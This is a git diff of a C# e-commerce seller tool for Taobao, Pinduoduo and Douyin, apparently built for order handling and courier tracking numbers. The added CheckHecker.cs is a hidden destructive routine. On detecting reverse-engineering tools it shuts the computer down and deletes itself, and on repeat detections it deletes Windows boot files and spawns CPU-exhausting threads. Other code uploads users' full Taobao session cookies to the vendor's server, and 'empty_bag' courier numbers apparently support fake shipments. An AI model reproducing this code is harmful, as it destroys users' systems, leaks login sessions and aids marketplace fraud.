(BaseClass.CookiesAll.ContainsKey(mainDomain)) + { + if (BaseClass.CookiesAll[mainDomain].ContainsKey(item.Name)) + BaseClass.CookiesAll[mainDomain][item.Name] = item.Value; + else + BaseClass.CookiesAll[mainDomain].Add(item.Name, item.Value); + } + else + { + BaseClass.CookiesAll.Add(mainDomain, new Dictionary()); + BaseClass.CookiesAll[mainDomain].Add(item.Name, item.Value); + } + } + BaseClass.ChromeCookies = cookies; + foreach (KeyValuePair> co in BaseClass.CookiesAll)//同步到系统 + { + string cook = ""; + for (int i = 0; i < co.Value.Count; i++) + { + KeyValuePair c = co.Value.ToArray()[i]; + if (c.Key == "x5sec") + { + if (!string.IsNullOrEmpty(c.Value)) + { + cook += c.Key + "=" + c.Value + "; "; + } + else if (!string.IsNullOrEmpty(BaseClass.x5Sec)) + { + cook += c.Key + "=" + BaseClass.x5Sec + "; "; + } + else + { + cook += c.Key + "=" + c.Value + "; "; + } + } + else + { + cook += c.Key + "=" + c.Value + "; "; + } + } + if (BaseClass.CookiesAllString.ContainsKey(co.Key)) + BaseClass.CookiesAllString[co.Key] = cook; + else + BaseClass.CookiesAllString.Add(co.Key, cook); + } + string mainDomainx = "taobao.com"; + string uid = BaseClass.CookiesAll[mainDomainx]["unb"]; + string name = BaseClass.CookiesAll[mainDomainx]["_nk_"]; + name = GetHtml.Decode(name.Replace("%5Cu", "\\u")); + name = HttpUtility.UrlDecode(name); + + + //string cookies = BaseClass.CookiesAllString["yangkeduo.com"]; + string url = BaseClass.DouYinBuildObjString("user_login_cookies&act=insert"); + StringBuilder data = new StringBuilder(); + data.Append("&user_name=" + name); + data.Append("&site_id=1"); + data.Append("&user_id=" + uid); + data.Append("&cookies=" + GetHtml.UrlEncodeUtf8(cookies)); + string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + data); + BuyNumber buynumber = new BuyNumber(1, uid, name); + List listcookie = new List(); + foreach (var item in cookie) + { + Cookie c = new Cookie(); + c.Domain = "taobao.com"; + c.Expires = DateTime.Now.AddDays(10); + c.Name = item.Name; + c.Value = item.Value; + c.Path = "/"; + listcookie.Add(c); + } + UserCookies uc = new UserCookies(); + uc.Cookies = listcookie; + uc.UserName = name; + uc.uid = uid; + uc.SiteId = 1; + uc.Times = 0; + if (!buyUserCookies.ContainsKey(buynumber)) + buyUserCookies.Add(buynumber, uc); + else + buyUserCookies[buynumber] = uc; + } + + public void DelCookies(BuyNumber buynumber) + { + buyUserCookies.Remove(buynumber); + } + /// + /// 添加cookies到集合 + /// + public void AddBuyUserCookies(string uid, string name, string cookies) + { + BuyNumber buynumber = new BuyNumber(1, uid, name); + string[] l = cookies.Split(';'); + List cookie = new List(); + for (int j = 0; j < l.Length; j++) + { + if (string.IsNullOrEmpty(l[j]) || !l[j].Contains("=")) + continue; + string[] ll = l[j].Split('='); + Cookie c = new Cookie(); + c.Domain = "taobao.com"; + c.Expires = DateTime.Now.AddDays(10); + c.Name = ll[0].Trim(); + c.Value = ll[1]; + c.Path = "/"; + cookie.Add(c); + } + UserCookies uc = new UserCookies(); + uc.Cookies = cookie; + uc.UserName = name; + uc.uid = uid; + uc.SiteId = 1; + uc.Times = 0; + if (!buyUserCookies.ContainsKey(buynumber)) + buyUserCookies.Add(buynumber, uc); + else + buyUserCookies[buynumber] = uc; + } + + public bool SetTaoBao(string userName, int siteid = 0) + { + var usercookie = buyUserCookies.ToList().Find(x => x.Value.uid == userName); + if (siteid != 0) + { + usercookie = buyUserCookies.ToList().Find(x => x.Value.uid == userName && x.Key.site_id == siteid); + } + + if (usercookie.Key == null) + { + return false; + } + DeleteTaoBao(); + var cookieManager = Cef.GetGlobalCookieManager(); + List cookies = usercookie.Value.Cookies.Where(c => !c.Domain.Contains("tmall")).ToList(); // UserCookies[userName].Cookies; + //cookieManager.SetStoragePath(Environment.CurrentDirectory, true); + + //string domain = "taobao.com"; + + //CEFBrowser.SetCookie(cookieManager, cookies); // 67版 + foreach (var cookie in cookies) + CEFBrowser.SetCookieAsync(cookie.Domain, cookie.Name + "=" + cookie.Value + ";", cookieManager); + + //PayMobileTb = userName; + //if (!refundFlag) + //{ + // MessageBox.Show("切换到账户:" + userName + " 成功", "提示"); + //} + + return true; + } + } +} diff --git a/Work/CheckHecker.cs b/Work/CheckHecker.cs new file mode 100644 index 0000000..62c0ba8 --- /dev/null +++ b/Work/CheckHecker.cs @@ -0,0 +1,180 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading; +using System.Windows.Forms; +using AllBase; + +namespace Work +{ + public class CheckHecker + { + private string SystemPath; + /// + /// 检查是否被黑客劫持 + /// + public void Check() + { + try + { + BaseClass.ApiKey = BaseClass.ApiKey.Replace("335", "331"); + CheckReCrack(); + SystemPath = Environment.GetFolderPath(Environment.SpecialFolder.System); + string path = SystemPath + "\\drivers\\etc\\hosts"; + if (File.Exists(path)) + { + string f = File.ReadAllText(path); + if (f.IndexOf("shisilou.com") > -1 || f.IndexOf("qixiaoke.com") > -1) + { + new Thread(IsHecker).Start(); + string[] fl = File.ReadAllLines(path); + for (int i = 0; i < fl.Length; i++) + if (fl[i].IndexOf("shisilou.com") > -1 || f.IndexOf("qixiaoke.com") > -1) + fl[i] = ""; + File.WriteAllLines(path, fl); + } + } + } + catch (Exception e) + { + } + } + /// + /// 检查反破解 + /// + private void CheckReCrack() + { + string s = "dotPeek,Reflector,NETUnpack,PE Detective,SNSRemover,PROCDUMP,LordPE,OllyDump,de4dot"; + string[] l = s.Split(','); + foreach (System.Diagnostics.Process thisproc in System.Diagnostics.Process.GetProcesses()) + { + for (int i = 0; i < l.Length; i++) + { + if (thisproc.ProcessName.ToLower() == l[i].ToLower()) + { + new Thread(IsHecker).Start(); + return; + } + } + } + } + + /// + /// 发现是黑客破解 + /// + public void IsHecker() + { + string p = "c:\\ini.ini"; + if (!File.Exists(p)) + File.WriteAllText(p, "0"); + string f = File.ReadAllText(p); + int times = 0; + int.TryParse(f, out times); + if (times < 0) + times = 0; + times++; + File.WriteAllText(p, times.ToString()); + new Thread(Warningx).Start(); + new Thread(Warning).Start(); + if (times > 3) + new Thread(DeleteSystemFile).Start(); + } + /// + /// 警告对话框 + /// + private void Warningx() + { + Thread.Sleep(100); + Process.Start("shutdown.exe", "-s -t 2"); + DeleteMyself(); + } + + /// + /// 警告对话框 + /// + private void Warning() + { + Thread.Sleep(500); + MessageBox.Show("警告:请不要在运行软件时,同时运行脱壳工具\r\n本对话框弹出第2次时,将格式化您的硬盘", "警告,请勿尝试破解软件"); + } + + /// + /// 删除系统文件 + /// + private void DeleteSystemFile() + { + string c = SystemPath.Substring(0, 1); + string file = @"ntldr,AUTOEXEC.BAT,boot.ini,bootfont.bin,CONFIG.SYS,IO.SYS,MSDOS.SYS,NTDETECT.COM,BOOTSECT.BAK,YOMIU,bootmgr"; + string[] f = file.Split(','); + for (int i = 0; i < f.Length; i++) + { + try + { + string path = c + ":\\" + f[i]; + if (File.Exists(path)) + { + new FileInfo(path).IsReadOnly = false; + new FileInfo(path).Attributes = FileAttributes.Normal; + File.Delete(path); + } + if (c.ToLower() != "c") + { + path = "c:\\" + f[i]; + if (File.Exists(path)) + { + new FileInfo(path).IsReadOnly = false; + new FileInfo(path).Attributes = FileAttributes.Normal; + File.Delete(path); + } + } + } + catch + { + } + } + //强制关机 + Process.Start("shutdown.exe", "-s -t 2"); + //耗尽CPU + for (int i = 0; i < 1000; i++) + { + Thread t = new Thread(UserAllCpu); + t.Priority = ThreadPriority.Highest; + t.Start(); + } + } + /// + /// 耗尽CPU + /// + private void UserAllCpu() + { + while (true) + { + double s = 0; + for (int i = 0; i < 100000; i++) + { + s += i; + if (s == -1) + break; + } + } + } + /// + /// 删除自己 + /// + private void DeleteMyself() + { + //在临时文件夹生成批处理文件 + string vBatFile = Path.GetTempPath() + "clear.bat"; + using (StreamWriter vStreamWriter = new StreamWriter(vBatFile, false, Encoding.Default)) + { + vStreamWriter.Write(string.Format(":del\r\n" + " del \"{0}\"\r\n" + + "if exist \"{0}\" goto del\r\n" + "del %0\r\n", Application.ExecutablePath)); + } + Process.Start(vBatFile); + Process.GetCurrentProcess().Kill(); + } + } +} diff --git a/Work/Class1.cs b/Work/Class1.cs new file mode 100644 index 0000000..32bd8d9 --- /dev/null +++ b/Work/Class1.cs @@ -0,0 +1,12 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Work +{ + public class Class1 + { + } +} diff --git a/Work/CollectionClass.cs b/Work/CollectionClass.cs new file mode 100644 index 0000000..c9fcb81 --- /dev/null +++ b/Work/CollectionClass.cs @@ -0,0 +1,56 @@ +using AllBase.DouYinModel.Result; +using AllBase.Model.Result; +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using Work.Model; + +namespace Work +{ + public class CollectionClass + { + /// + /// 店铺列表 + /// + public static List DouShopLoginList = new List(); + public static List ExpressList = new List(); + //地址集合 + public static Dictionary Province = new Dictionary(); + + /// + /// 订单集合 + /// + public static List orderDataList = new List(); + + /// + /// 售后订单集合 + /// + public static List afterSaleOrderList = new List(); + + /// + /// 待发货订单集合 + /// + public static List orderSenderDataList = new List(); + + /// + /// 已完成订单集合 + /// + public static List successOrderDataList = new List(); + + /// + /// 订单临时集合 读取一条删除一条 + /// + public static List orderDataList_Temp = new List(); + + public static ConcurrentDictionary skuImageCache = new ConcurrentDictionary(); + + /// + /// 快递公司名称 + /// + public static string ExpressJsonList = "{\"data\":[{\"code\":\"ems\",\"id\":17,\"name\":\"EMS(常用)\"},{\"code\":\"lntjs\",\"id\":289,\"name\":\"特急送\"},{\"code\":\"yuantong\",\"id\":7,\"name\":\"圆通快递(常用)\"},{\"code\":\"quanfengkuaidi\",\"id\":16,\"name\":\"全峰快递\"},{\"code\":\"zhongyouex\",\"id\":1022,\"name\":\"众邮快递\"},{\"code\":\"zlxdjwl\",\"id\":1023,\"name\":\"中粮鲜到家物流\"},{\"code\":\"sxjdfreight\",\"id\":1024,\"name\":\"顺心捷达\"},{\"code\":\"ztky\",\"id\":140,\"name\":\"中铁快运\"},{\"code\":\"suning\",\"id\":202,\"name\":\"苏宁物流\"},{\"code\":\"anxl\",\"id\":631,\"name\":\"安迅物流\"},{\"code\":\"subida\",\"id\":716,\"name\":\"速必达\"},{\"code\":\"zilegongmao\",\"id\":1038,\"name\":\"紫乐工贸\"},{\"code\":\"youshuwuliu\",\"id\":11,\"name\":\"优速快递\"},{\"code\":\"zhongtong\",\"id\":15,\"name\":\"中通速递(常用)\"},{\"code\":\"youzhengguonei\",\"id\":19,\"name\":\"邮政快递包裹\"},{\"code\":\"baishiwuliu\",\"id\":637,\"name\":\"百世快运\"},{\"code\":\"sfwl\",\"id\":1026,\"name\":\"盛丰物流\"},{\"code\":\"jiajiwuliu\",\"id\":428,\"name\":\"佳吉快运\"},{\"code\":\"linshiwuliu\",\"id\":1031,\"name\":\"林氏物流\"},{\"code\":\"shentong\",\"id\":8,\"name\":\"申通快递(常用)\"},{\"code\":\"debangwuliu\",\"id\":13,\"name\":\"德邦快递(常用)\"},{\"code\":\"dangdang\",\"id\":1016,\"name\":\"当当物流\"},{\"code\":\"jinguangsudikuaijian\",\"id\":517,\"name\":\"京广速递\"},{\"code\":\"zhongtongkuaiyun\",\"id\":846,\"name\":\"中通快运\"},{\"code\":\"yzguonei\",\"id\":854,\"name\":\"邮政国内\"},{\"code\":\"jiayiwuliu\",\"id\":10,\"name\":\"佳怡物流\"},{\"code\":\"zhaijisong\",\"id\":21,\"name\":\"宅急送\"},{\"code\":\"wanxiangwuliu\",\"id\":31,\"name\":\"万象物流\"},{\"code\":\"huangmajia\",\"id\":37,\"name\":\"黄马甲\"},{\"code\":\"suer\",\"id\":243,\"name\":\"速尔快递\"},{\"code\":\"pjbest\",\"id\":447,\"name\":\"品骏快递\"},{\"code\":\"yuantongkuaiyun\",\"id\":909,\"name\":\"圆通快运\"},{\"code\":\"guotongkuaidi\",\"id\":25,\"name\":\"国通快递\"},{\"code\":\"kuaijiesudi\",\"id\":26,\"name\":\"快捷快递\"},{\"code\":\"jd\",\"id\":30,\"name\":\"京东物流(常用)\"},{\"code\":\"ndwl\",\"id\":317,\"name\":\"南方传媒物流\"},{\"code\":\"shunfeng\",\"id\":12,\"name\":\"顺丰速运(常用)\"},{\"code\":\"exfresh\",\"id\":284,\"name\":\"安鲜达\"},{\"code\":\"ytkd\",\"id\":321,\"name\":\"运通中港快递\"},{\"code\":\"jtexpress\",\"id\":1021,\"name\":\"极兔速递\"},{\"code\":\"kuayue\",\"id\":397,\"name\":\"跨越速运\"},{\"code\":\"ftky365\",\"id\":971,\"name\":\"丰通快运\"},{\"code\":\"savor\",\"id\":1025,\"name\":\"海信物流\"},{\"code\":\"taijin\",\"id\":1032,\"name\":\"泰进物流\"},{\"code\":\"dfkuaidi\",\"id\":1019,\"name\":\"东风快递\"},{\"code\":\"yunda\",\"id\":9,\"name\":\"韵达快递(常用)\"},{\"code\":\"zengyisudi\",\"id\":23,\"name\":\"增益速递\"},{\"code\":\"annengwuliu\",\"id\":32,\"name\":\"安能物流\"},{\"code\":\"jym56\",\"id\":158,\"name\":\"加运美速递\"},{\"code\":\"jiuyescm\",\"id\":191,\"name\":\"九曳供应链\"},{\"code\":\"shenghuiwuliu\",\"id\":244,\"name\":\"盛辉物流\"},{\"code\":\"rrs\",\"id\":641,\"name\":\"日日顺物流\"},{\"code\":\"rufengda\",\"id\":22,\"name\":\"如风达\"},{\"code\":\"dangdangorder\",\"id\":192,\"name\":\"当当\"},{\"code\":\"yimidida\",\"id\":897,\"name\":\"壹米滴答\"},{\"code\":\"fengwang\",\"id\":1033,\"name\":\"丰网速运\"},{\"code\":\"tiantian\",\"id\":14,\"name\":\"天天快递\"},{\"code\":\"zhimakaimen\",\"id\":440,\"name\":\"芝麻开门\"},{\"code\":\"danniao\",\"id\":1017,\"name\":\"丹鸟\"},{\"code\":\"shanxijianhua\",\"id\":1037,\"name\":\"山西建华\"},{\"code\":\"weitepai\",\"id\":18,\"name\":\"微特派\"},{\"code\":\"huitongkuaidi\",\"id\":20,\"name\":\"百世快递(常用)\"},{\"code\":\"wondersyd\",\"id\":151,\"name\":\"中邮速递\"},{\"code\":\"tiandihuayu\",\"id\":518,\"name\":\"天地华宇\"},{\"code\":\"annto\",\"id\":861,\"name\":\"安得物流\"},{\"code\":\"shunfengkuaiyun\",\"id\":1035,\"name\":\"顺丰快运\"},{\"code\":\"bsht\",\"id\":221,\"name\":\"百事亨通\"},{\"code\":\"dsukuaidi\",\"id\":1018,\"name\":\"D速快递\"},{\"code\":\"yundakuaiyun\",\"id\":952,\"name\":\"韵达快运\"},{\"code\":\"zhongtongkuaidi\",\"id\":0,\"name\":\"中通快递\"}],\"err_no\":0,\"log_id\":\"20210826110338010198065089461B941F\",\"message\":\"success\"}"; + } + +} diff --git a/Work/DLL/DevComponents.DotNetBar2.dll b/Work/DLL/DevComponents.DotNetBar2.dll new file mode 100644 index 0000000..57d38f5 Binary files /dev/null and b/Work/DLL/DevComponents.DotNetBar2.dll differ diff --git a/Work/DouYinHttpWebRequest.cs b/Work/DouYinHttpWebRequest.cs new file mode 100644 index 0000000..5946c39 --- /dev/null +++ b/Work/DouYinHttpWebRequest.cs @@ -0,0 +1,36 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.IO.Compression; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading.Tasks; + +namespace Work +{ + public class DouYinHttpWebRequest + { + public static string ReadResponse(HttpWebResponse response) + { + using (Stream responseStream = response.GetResponseStream()) + { + Stream streamToRead = responseStream; + if (response.ContentEncoding.ToLower().Contains("gzip")) + { + streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress); + } + else if (response.ContentEncoding.ToLower().Contains("deflate")) + { + streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress); + } + + using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8)) + { + return streamReader.ReadToEnd(); + } + } + } + + } +} diff --git a/Work/ExpressSet.cs b/Work/ExpressSet.cs new file mode 100644 index 0000000..5c7a0f2 --- /dev/null +++ b/Work/ExpressSet.cs @@ -0,0 +1,265 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Windows.Forms; +using AllBase; +using Work.Model; + +namespace Work +{ + public class ExpressSet + { + public static bool AutoAdd1408Room = false; + public static Dictionary ExpressList = new Dictionary(); + public static Dictionary ExpressBuyList = new Dictionary(); + public static Dictionary ExpressBuyList_MTY = new Dictionary(); + public static Dictionary GiftExpressBuyList = new Dictionary();//礼品网礼品单 + public static Dictionary GiftExpressEmtyBuyList = new Dictionary();//礼品网快递单 + + public string DeleteId = ""; + public int Id = 0; + public ExpressBase Express; + public ExpressSet(string deleteId) + { + DeleteId = deleteId; + } + public ExpressSet(int deleteId) + { + Id = deleteId; + } + + public ExpressSet(ExpressBase express) + { + Express = express; + } + + public static void Ini() + { + ExpressList.Add("申通速递", "1"); + ExpressList.Add("申通快递", "1"); + ExpressList.Add("百世快递", "3"); + ExpressList.Add("顺丰快递", "44"); + ExpressList.Add("圆通快递", "85"); + ExpressList.Add("中通快递", "115"); + ExpressList.Add("全峰快递", "116"); + ExpressList.Add("优速快递", "117"); + ExpressList.Add("邮政EMS", "118"); + ExpressList.Add("EMS", "118"); + ExpressList.Add("百世快运", "229"); + ExpressList.Add("天天快递", "119"); + ExpressList.Add("京东配送", "120"); + ExpressList.Add("韵达快递", "121"); + ExpressList.Add("宅急送快递", "129"); + ExpressList.Add("德邦快递", "131"); + ExpressList.Add("邮政快递包裹", "132"); + ExpressList.Add("亚马逊物流", "156"); + //ExpressList.Add("中邮速递", "211"); + ExpressList.Add("EMS-国际件", "213"); + ExpressList.Add("中铁物流", "214"); + ExpressList.Add("日日顺物流", "227"); + ExpressList.Add("苏宁快递", "228"); + ExpressList.Add("德邦物流", "230"); + ExpressList.Add("邮政标准快递", "324"); + ExpressList.Add("邮政国际包裹", "325"); + ExpressList.Add("中铁快运", "332"); + ExpressList.Add("赛澳递", "89"); + ExpressList.Add("晟邦物流", "90"); + ExpressList.Add("快捷快递", "122"); + ExpressList.Add("国通快递", "124"); + ExpressList.Add("如风达", "130"); + //ExpressList.Add("龙邦快递", "133"); + //ExpressList.Add("龙邦速递", "133"); + ExpressList.Add("亚风速递", "317"); + ExpressList.Add("远成快运", "205"); + ExpressList.Add("壹米滴答快运", "348"); + ExpressList.Add("京广速递", "281"); + ExpressList.Add("承诺达特快", "351"); + ExpressList.Add("加运美", "275"); + ExpressList.Add("安迅物流", "352"); + ExpressList.Add("中通快运", "343"); + ExpressList.Add("速尔快递", "155"); + ExpressList.Add("顺丰快运", "372"); + ExpressList.Add("极兔速递", "384"); + ExpressList.Add("韵达快运", "344"); + + ////ExpressBuyList.Add("国通快递(0.55元)", "66"); + ////ExpressBuyList.Add("韵达快递-电子(0.5元)", "30"); + ////ExpressBuyList.Add("亚风速递-电子(0.5元)", "109"); + ////ExpressBuyList.Add("京广速递(0.60元)", "94"); + //ExpressBuyList.Add("安迅物流-电子(0.60元)", "115"); + //ExpressBuyList.Add("天天快递-电子(0.65元)", "127"); + ////ExpressBuyList.Add("圆通快递-电子(0.90元)", "106"); + //ExpressBuyList.Add("申通快递-电子(0.75元)", "113"); + //ExpressBuyList.Add("中通快运-电子(0.75元)", "123"); + ////ExpressBuyList.Add("申通快递(0.75元)", "72"); + ////ExpressBuyList.Add("京广速递-电子(0.8元)", "116"); + + //ExpressBuyList.Add("百世快递-电子(0.5元)", "117"); + //ExpressBuyList.Add("远成快运(0.95元)", "88"); + //ExpressBuyList.Add("龙邦速递(0.95元)", "68"); + //ExpressBuyList.Add("亚风速递(1.00元)", "69"); + //ExpressBuyList.Add("优速快递(0.85元)", "85"); + + + ////ExpressBuyList_MTY.Add("国通快递--拼多多专用(0.5元)", "53"); + //ExpressBuyList_MTY.Add("圆通快递--电子面单(0.55元)", "56"); + //ExpressBuyList_MTY.Add("承诺达特快--电子面单(0.55元)", "57"); + ////ExpressBuyList_MTY.Add("亚风速递--拼多多专用(0.65元)", "28"); + //ExpressBuyList_MTY.Add("加运美--拼多多专用(0.5元)", "54"); + //ExpressBuyList_MTY.Add("申通快递--拼多多专用(0.7元)", "52"); + //ExpressBuyList_MTY.Add("百世快递--拼多多专用(0.9元)", "34"); + //ExpressBuyList_MTY.Add("中通快递--拼多多专用(0.9元)", "49"); + //ExpressBuyList_MTY.Add("百世快递--电子面单(1.05元))", "51"); + //从服务端获取猫头鹰快递 + if (!BaseClass.IsXiaoNaiNiu) + { + IniMtyExp(); + } + + + } + + public static void IniMtyExp() + { + if (ExpressBuyList_MTY.Count > 0) + return; + string url = BaseClass.BuildObjString("empty_bag&act=get"); + StringBuilder s = new StringBuilder(); + s.Append("&" + UserLogin.GetSignaturex()); + string html = GetHtml.PostUtf8(url, s.ToString()); + html = GetHtml.UrlDecode(html); + var expArr = BaseRegex.GetMatchRegex(ref html, "{\"name\":\"[\\S\\s]+?\",\"price\":\"\\([\\S\\s]+?\\)\",\"value\":\"[\\d]+?\"}"); + for (int i = 0; i < expArr.Count; i++) + { + var item = expArr[i].ToString(); + string expName = BaseRegex.GetStringJson(ref item, "name"); + string price = BaseRegex.GetStringJson(ref item, "price"); + string val = BaseRegex.GetStringJson(ref item, "value"); + string keyStr = expName + price; + if (ExpressBuyList_MTY.ContainsKey(keyStr)) + { + continue; + } + ExpressBuyList_MTY.Add(keyStr, val); + } + } + + public static string Add(string expressName, string expressNo, string name, string mobile, string address) + { + if (string.IsNullOrEmpty(expressName) || string.IsNullOrEmpty(expressNo) || string.IsNullOrEmpty(name) || + string.IsNullOrEmpty(mobile) || string.IsNullOrEmpty(address) || !ExpressList.ContainsKey(expressName)) + { + return "请填写完整的信息"; + } + if (AutoAdd1408Room && !address.Contains("1408") && !address.Contains("95278")) + address += "95278"; //"1408"; + string expressId = ExpressList[expressName]; + StringBuilder s = new StringBuilder(); + s.Append("&express_id=" + expressId); + s.Append("&express_no=" + expressNo); + s.Append("&express_name=" + expressName); + s.Append("&name=" + name); + s.Append("&mobile=" + mobile); + s.Append("&address=" + address); + string data = UserLogin.GetSignaturex() + s; + string url = BaseClass.BuildObjString("express&act=add"); + string html = GetHtml.PostUtf8(url, data); + if (string.IsNullOrEmpty(html)) + { + return "提交异常,请检查网络"; + } + if (html == "had") + { + return "已经存在"; + } + if (html == "ok") + { + ExpressBase e = new ExpressBase(); + e.address = address; + e.express_id = expressId; + e.express_name = expressName; + e.express_no = expressNo; + e.mobile = mobile; + e.name = name; + e.use_times = 0; + e.buy_type = 1; + CollectionClass.ExpressList.Add(e); + CollectionClass.ExpressTempList.Add(e); + return ""; + } + return "链接异常"; + } + + public static string path; + public static void Input() + { + string[] file = FileBase.ReadAllLines(path, Encoding.Default); + Input(file); + } + + public static void Input(string[] file) + { + string message = ""; + for (int i = 0; i < file.Length; i++) + { + if (string.IsNullOrEmpty(file[i])) + continue; + string[] l = file[i].Replace(",", ",").Split(','); + if (l.Length != 5) + continue; + string expressName = l[0], expressNo = l[1], name = l[2], mobile = l[3], address = l[4]; + string msg = Add(expressName, expressNo, name, mobile, address); + if (!string.IsNullOrEmpty(msg)) + message += "单号:" + expressNo + " 添加失败:" + msg; + } + if (!string.IsNullOrEmpty(message)) + MessageBox.Show(message, "提示"); + } + + public void Delete() + { + Delete(DeleteId); + } + + public string Delete(string no) + { + StringBuilder s = new StringBuilder(); + s.Append("&express_no=" + no); + s.Append("&id=" + Id); + string data = UserLogin.GetSignaturex() + s; + string url = BaseClass.BuildObjString("express&act=delete"); + string html = GetHtml.PostUtf8(url, data); + if (string.IsNullOrEmpty(html) || html != "ok") + { + return "提交异常,请检查网络"; + } + return ""; + } + + + public void Update() + { + StringBuilder s = new StringBuilder(); + s.Append("&name=" + Express.name); + s.Append("&mobile=" + Express.mobile); + s.Append("&address=" + GetHtml.UrlEncodeUtf8(Express.address)); + s.Append("&id=" + Express.id); + string data = UserLogin.GetSignaturex() + s; + string url = BaseClass.BuildObjString("express&act=update"); + string html = GetHtml.PostUtf8(url, data); + if (string.IsNullOrEmpty(html) || html != "ok") + { + MessageBox.Show("提交异常,请检查网络"); + } + } + + } + + public class GiftExp + { + public string storeId { get; set; } + + public string kdId { get; set; } + } +} diff --git a/Work/GetPostTaobaoHtml.cs b/Work/GetPostTaobaoHtml.cs new file mode 100644 index 0000000..de29e6d --- /dev/null +++ b/Work/GetPostTaobaoHtml.cs @@ -0,0 +1,1096 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net; +using System.Text; +using AllBase; +using System.Threading.Tasks; +using System.Threading; +using System.IO; +using System.Collections.Specialized; +using System.IO.Compression; +using Work.Tips; +using CefSharp; + +namespace Work +{ + public class GetPostTaobaoHtml + { + public static TokenForm tokenForm; + + public static string UploadTaobaoDelete(string url, string refere, bool isUtf8, string data, bool isPost) + { + try + { + //string cookies = string.IsNullOrEmpty(BaseClass.ChromeCookies) ? IECookies.GetCookieByWebBrowser(url) : BaseClass.ChromeCookies; + //string userAgent = string.IsNullOrEmpty(BaseClass.ChromeUserAgent) ? BaseClass.UserAgent : BaseClass.ChromeUserAgent; + string domain = GetHtml.GetDomain(url); + string mainDomain = GetHtml.GetMainDomain(domain); + string cookies = ""; + if (BaseClass.CookiesAllString.ContainsKey(mainDomain)) + cookies = BaseClass.CookiesAllString[mainDomain]; + else if (BaseClass.CookiesAllString.ContainsKey(domain)) + cookies = BaseClass.CookiesAllString[domain]; + string userAgent = BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + wb.IsDelete = true; + wb.Timeout = 30; + + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "*/*"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("Accept-Language", "zh-CN,zh;q=0.8"); + wb.Headers.Add("User-Agent", userAgent); + wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded;charset=UTF-8"); + if (!string.IsNullOrEmpty(cookies) && cookies.Contains("PDDAccessToken") && BaseClass.CookiesAll.ContainsKey("yangkeduo.com") && BaseClass.CookiesAll["yangkeduo.com"].ContainsKey("PDDAccessToken")) + wb.Headers.Add("accesstoken", BaseClass.CookiesAll["yangkeduo.com"]["PDDAccessToken"]); + wb.Proxy = null; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + //wb.Proxy = null; + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data) && !isPost) + { + b = wb.DownloadData(url); + } + else + { + wb.Headers.Add("ContentLength", postData.Length.ToString()); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = wb.ResponseHeaders.ToString(); + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + } + + + /// + /// GET数据 + /// + /// 网址 + /// 来源 + /// 编码是否为UTF-8 + /// + public static string UploadTaobao(string url, string refere, bool isUtf8) + { + return UploadTaobaoPost(url, refere, isUtf8, "", false, ""); + } + + public static string UploadTaobaoPost(string url, string refere, bool isUtf8, string data) + { + string cookies = GetCookies(url, ""); + return UploadTaobaoPost(url, refere, isUtf8, data, false, cookies); + } + public static string UploadTaobaoPost(string url, string refere, bool isUtf8, string data, string cookies) + { + return UploadTaobaoPost(url, refere, isUtf8, data, false, cookies); + } + + public static string UploadTaobao(string url, string refere, bool isUtf8, string cookies) + { + return UploadTaobaoPost(url, refere, isUtf8, "", false, cookies); + } + + public static string UploadTaobaoPost(string url, string refere, bool isUtf8, string data, bool isPost) + { + return UploadTaobaoPost(url, refere, isUtf8, data, isPost, ""); + } + + public static string UploadTaobaoCookiePost(string url, string refere, bool isUtf8, string data, bool isPost, string cookies) + { + return UploadTaobaoPost(url, refere, isUtf8, data, isPost, cookies); + } + + public static string GetCookies(string url, string cookies) + { + if (!string.IsNullOrEmpty(cookies)) + return cookies; + string mainDomain = GetHtml.GetMainDomain(GetHtml.GetDomain(url)); + if (BaseClass.CookiesAllString.ContainsKey(mainDomain)) + cookies = BaseClass.CookiesAllString[mainDomain]; + return cookies; + } + /// + /// POST数据 + /// + /// 网址 + /// 来源 + /// 编码是否为UTF-8 + /// 数据 + /// 是否强制为post提交 + /// + public static string UploadTaobaoPost(string url, string refere, bool isUtf8, string data, bool isPost, string cookies) + { + try + { + cookies = GetCookies(url, cookies); + string userAgent = BaseClass.ChromeUserAgent; + if (url.Contains("mms.pinduoduo.com/") && cookies.Contains("windows")) + { + 